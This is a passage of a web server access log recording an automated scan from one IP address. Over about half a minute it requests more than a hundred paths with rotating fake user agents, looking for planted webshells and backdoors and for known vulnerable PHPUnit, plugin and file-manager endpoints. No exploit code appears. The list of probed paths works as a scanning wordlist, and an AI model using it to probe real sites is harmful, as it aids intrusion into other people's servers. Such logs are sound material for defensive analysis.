[25/Apr/2025:11:22:55 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:22:56 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:22:56 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:56 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:22:56 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:22:56 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:22:57 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:57 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:22:57 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:22:57 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:22:57 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:22:58 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:22:58 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:22:58 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:22:58 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:58 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:22:58 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:22:59 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:22:59 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:22:59 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:59 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:22:59 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:00 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:00 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:23:00 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:00 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:23:00 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:01 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:01 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:01 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:01 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:02 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:23:02 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:23:02 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:02 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:02 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:03 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:03 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:03 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:03 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:04 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:04 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:23:04 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:04 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:05 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:05 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:05 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:05 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:05 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:23:06 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:06 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:06 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:06 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:07 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:07 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:23:07 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:07 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:08 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:08 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:08 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:08 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:09 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:09 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:09 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:09 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:10 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:23:10 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:10 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:10 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:11 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:11 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:11 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:11 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:23:12 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:12 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:23:12 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:23:12 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:12 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:13 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:13 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:13 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:13 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:13 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:14 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:14 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:14 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:15 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:15 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:15 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:16 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:16 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:16 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:16 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:17 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:23:17 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:17 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:17 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:18 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:23:18 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:23:18 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:18 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:19 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:23:19 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:23:19 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:19 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:23:20 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:20 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:21 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:21 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:21 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:23:21 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:23:22 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:23:22 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:23:23 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 